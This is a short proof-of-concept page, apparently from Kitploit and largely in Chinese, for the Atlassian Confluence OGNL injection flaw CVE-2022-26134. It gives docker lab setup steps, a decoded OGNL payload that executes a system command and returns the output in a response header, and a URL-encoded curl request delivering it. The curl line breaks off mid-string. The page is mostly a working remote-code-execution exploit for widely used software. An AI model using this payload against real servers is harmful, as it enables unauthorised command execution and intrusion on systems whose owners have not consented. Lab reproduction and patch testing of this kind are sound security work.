CVE-2022-26134 — Atlassian Confluence OGNL Injection Remote Code Execution (RCE) Vulnerability (CVE-2022-26134) | Kitploit

POC - Atlassian Confluence OGNL 注入远程代码执行漏洞 (CVE-2022-26134)

测试于 Confluence 7.13.6 版本

环境搭建

克隆仓库

docker-compose up -d

在 http://localhost:8090 你会看到 Confluence 正在运行。
接下来，获取 Confluence 的评估许可证，并使用数据库名称 confluence、用户名 postgres 和密码 root 设置数据库。

漏洞利用

解码后的载荷

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

Curl 请求

curl -v "http://localhost:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%

POC